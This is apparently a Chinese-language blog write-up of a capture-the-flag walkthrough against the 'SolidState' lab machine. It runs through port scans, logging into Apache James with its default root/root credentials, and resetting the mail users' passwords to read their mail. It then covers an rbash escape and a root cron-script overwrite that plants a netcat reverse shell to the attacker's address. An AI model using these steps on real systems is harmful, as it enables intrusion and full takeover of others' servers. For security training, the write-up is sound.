目录
1、信息收集
nmap 扫描主机 ip:192.168.56.137
1.1 namp 扫描
1. 扫描端口
22/tcp open ssh
25/tcp open smtp
80/tcp open http
110/tcp open pop3
119/tcp open nntp
4555/tcp open rsip
2. 端口详细信息
# Nmap 7.92 scan initiated Sun Dec 15 03:36:34 2024 as: nmap -sT -sV -sC -O -o check/portinfo 192.168.56.137 192.168.56.137
Nmap scan report for 192.168.56.137
Host is up (0.14s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey:
| 2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
| 256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
|_ 256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)
25/tcp open smtp JAMES smtpd 2.3.2
|_smtp-commands: solidstate Hello nmap.scanme.org (192.168.56.128 [192.168.56.128]), PIPELINING, ENHANCEDSTATUSCODES
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-title: Home - Solid State Security
|_http-server-header: Apache/2.4.25 (Debian)
110/tcp open pop3 JAMES pop3d 2.3.2
119/tcp open nntp JAMES nntpd (posting ok)
MAC Address: 00:0C:29:5D:1C:C5 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Dec 15 03:37:20 2024 -- 2 IP addresses (2 hosts up) scanned in 45.52 seconds
3. 脚本扫描
# Nmap 7.92 scan initiated Sun Dec 15 03:39:30 2024 as: nmap --script=vuln -p22,25,80,110,119,4555 -o check/137script 192.168.56.137
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 192.168.56.137
Host is up (0.00027s latency).
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
| smtp-vuln-cve2010-4344:
|_ The SMTP server is not Exim: NOT VULNERABLE
80/tcp open http
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.56.137
| Found the following possible CSRF vulnerabilities:
|
| Path: http://192.168.56.137:80/
| Form id: name
|_ Form action: #
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-enum:
| /README.txt: Interesting, a readme.
|_ /images/: Potentially interesting directory w/ listing on 'apache/2.4.25 (debian)'
110/tcp open pop3
119/tcp open nntp
4555/tcp open rsip
MAC Address: 00:0C:29:5D:1C:C5 (VMware)
# Nmap done at Sun Dec 15 03:40:25 2024 -- 1 IP address (1 host up) scanned in 55.03 seconds
1.2 nikto
└─$ nikto -host 192.168.56.137
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.56.137
+ Target Hostname: 192.168.56.137
+ Target Port: 80
+ Start Time: 2024-12-15 03:59:37 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.25 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: 1e60, size: 5575af6de9eb2, mtime: gzip
+ Apache/2.4.25 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: OPTIONS, HEAD, GET, POST
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3092: /LICENSE.txt: License file found may identify site software.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7915 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time: 2024-12-15 03:59:50 (GMT-5) (13 seconds)
1.3 gobuster
/images (Status: 301) [Size: 317] [--> http://192.168.56.137/images/]
/.html (Status: 403) [Size: 294]
/about.html (Status: 200) [Size: 7182]
/index.html (Status: 200) [Size: 7776]
/services.html (Status: 200) [Size: 8404]
/assets (Status: 301) [Size: 317] [--> http://192.168.56.137/assets/]
/README.txt (Status: 200) [Size: 963]
/LICENSE.txt (Status: 200) [Size: 17128]
/.html (Status: 403) [Size: 294]
/server-status (Status: 403) [Size: 302]
http://192.168.56.137/icons/README
2、信息整合
2.1、端口服务
22/tcp open ssh
25/tcp open smtp
80/tcp open http Apache httpd 2.4.25 ((Debian))
110/tcp open pop3 JAMES pop3d 2.3.2
Linux 3.X|4.X
2.2、页面
通过目录扫描没有发现太多有效的信息,包括 80 网页都是几个基础网页
/about.html
/index.html
/services.html
3、渗透
3.1 获取 shell
1. JAMES 漏洞
由于 80 端口的 web 页面没有发现有啥可利用信息,这里看 110 端口的 pop3 服务,通过 nmap 可以看到运行的是JAMES pop3d 2.3.2 服务
Apache James简介:
Apache James(Java Apache Mail EnterpriseServer)是Apache组织的子项目之一,完全采用纯Java技术开发,实现了SMTP、POP3与NNTP等多种邮件相关协议。James是一个邮件应用平台,可以通过Mailet扩充其功能,如Mail2SMS、Mail2Fax等。James提供了比较完善的配置方案,尤其是关于邮件内容存储和用户信息存储部分,可以选择在文件、数据库或其他介质中保存。
这里搜索 james 默认账号密码,默认密码为:root/root
2. 尝试默认密码
使用 nc 尝试登录,发现可以直接使用默认密码登录,并且可以查看到这里有 5 个用户
nc 192.168.56.137 4445
root
root
3. 修改邮箱用户密码
由于我们是使用的 root 账号登录的,这里可以直接把这些用户的密码修改
setpassword james 123456
setpassword thomas 123456
setpassword john 123456
setpassword mindy 123456
setpassword mailadmin 123456
4. 查看用户邮件
使用 telnet 可以登录到 pop3 服务内,使用我们修改的密码可以登录每个账号并查看每个邮件的内容
这里使用 john 账号的登录发现里面有一个让别人帮忙修改 mindy 密码的邮件,发送人是 james
同时我们进入 james 账号内可以发现第 2 个邮件有修改的密码信息
telnet 192.168.56.137 110
user john
pass 123456
list # 列举邮件和邮件大小
retr 1 # 查看邮件内容
# 获取的账号密码
username: mindy
pass: P@55W0rd1!2@
5. 进入 ssh
获取到 mindy 的密码后,由于邮件有提示,是系统密码,我们可以尝试登录,发现可以直接登录进入
6. 逃逸 rbash 获取到正常的 shell
这里进入 ssh 后发现有很多命令都被限制,这里可以参考先知社区这个 rbash 逃逸的帖子,我们用 python -v 可以看到是有 python 的环境,可以使用这个命令进行逃逸,可以看到 cd 命令已经可以正常执行了
ssh mindy@192.168.56.137 "export TERM=xterm;python -c 'import pty;pty.spawn(\"/bin/bash\")'”
3.2 提权
1. 查看系统信息
uname -a
Linux solidstate 4.9.0-3-686-pae #1 SMP Debian 4.9.30-2+deb9u3 (2017-08-06) i686 GNU/Linux
这里可以查看下 Debian 的 EXP,看下是否有可以利用的,但是这里是找到系统有个有读写执行的 py 文件,通过这个文件进行的提权
2. 使用 find 查找有权限的文件
使用 find 命令查询文件的时候,发现/opt/tmp.py 文件可以读写和执行,且权限是 root 的
find / -perm 777 -type f 2>/dev/null
3. 查看文件信息
查看文件信息,发现是清除 tmp 目录文件的一个脚本,猜测是定时脚本,因此我们可以写入打开 shell 的脚本,来反弹 shell
4. 利用 python 脚本提权
这里直接写入脚本覆盖,或者在后面追加我们自己的脚本
# 直接覆盖写入
echo 'import os; os.system("/bin/nc 192.168.56.128 6666 -e /bin/bash")' > /opt/tmp.py
# 再后面追加
echo "os.system('/bin/nc -e /bin/bash 192.168.56.128 6666')" >> /opt/tmp.py
5. 获取 root 权限
等待一段时间后,可以看到我们的监听有了响应,获取到了 root 权限
6. 查看定时任务
查看定时任务发现,确实是 root 权限运行的一个定时任务,每 3 分钟执行一次
4、总结
在 80 端口没有发现有用信息后,我们要尝试看下其他端口的服务,是否有可利用漏洞,进而进行渗透,这里碰到有一个 rbash 限制,很多命令无法执行,需要绕过才行,可以看下是否有有用的文件可以用来提权,例如使用 root 权限运行的定时任务脚本等
查看JAMES 组件漏洞
使用searchsploit
查找该组件相关的漏洞,可以看到有两个命令远程命令执行漏洞,这两个漏洞也可以用来利用获取正常权限的 shell,尝试使用了 35513 这个 EXP,依旧需要我们查看邮件信息,然后找到 mindy 账号进行登录才行
searchsploit JAMES
邮件服务器James命令解释
nc ip port
# 使用nc连接服务,端口一般默认是4555
help display this help 显示帮助信息
listusers display existing accounts 显示现有账户
countusers display the number of existing accounts 显示现有账户数量
adduser [username] [password] add a new user 添加一个新用户
verify [username] verify if specified user exist 核实指定用户是否存在
deluser [username] delete existing user 删除存在的用户
setpassword [username] [password] sets a user's password 设置用户密码
setalias [user] [alias] locally forwards all email for 'user' to 'alias' 设置邮箱别名
showalias [username] shows a user's current email alias 显示别名
unsetalias [user] unsets an alias for 'user' 删除用户别名
setforwarding [username] [emailaddress] forwards a user's email to another email address 转发用户的电子邮件地址到另一个电子邮件地址
showforwarding [username] shows a user's current email forwarding 显示用户的当前邮件转发
unsetforwarding [username] removes a forward 删除转发
user [repositoryname] change to another user repository 改变另一个用户库
shutdown kills the current JVM (convenient when James is run as a daemon)关闭当前的服务
quit close connection 关闭连接
使用 telnet 登录 pop3
使用telnet命令连接到POP3服务器,命令格式如下:
telnet pop3.example.com 110
# 输入账号,格式如下
user your_username
# 输入密码,格式如下:
pass your_password
如果登录成功,服务器会返回一个状态提示,你可以开始使用POP3命令来管理你的邮件。
POP3命令的基本列表如下1:
stat:请求服务器回送邮箱统计资料,如邮件数、邮件总字节数等1。
list:返回指定邮件的大小等信息1。
retr:返回邮件的全部文本内容1。
dele:标记邮件为删除1。
rset:撤消所有的dele命令1。
top:返回指定邮件的前N行内容1。
noop:服务器返回一个肯定的响应1。
quit:结束与POP3服务器的会话
标签:渗透,tcp,SolidState,192.168,靶机,open,56.137,邮件,user
From: https://blog.csdn.net/lga0325/article/details/144654766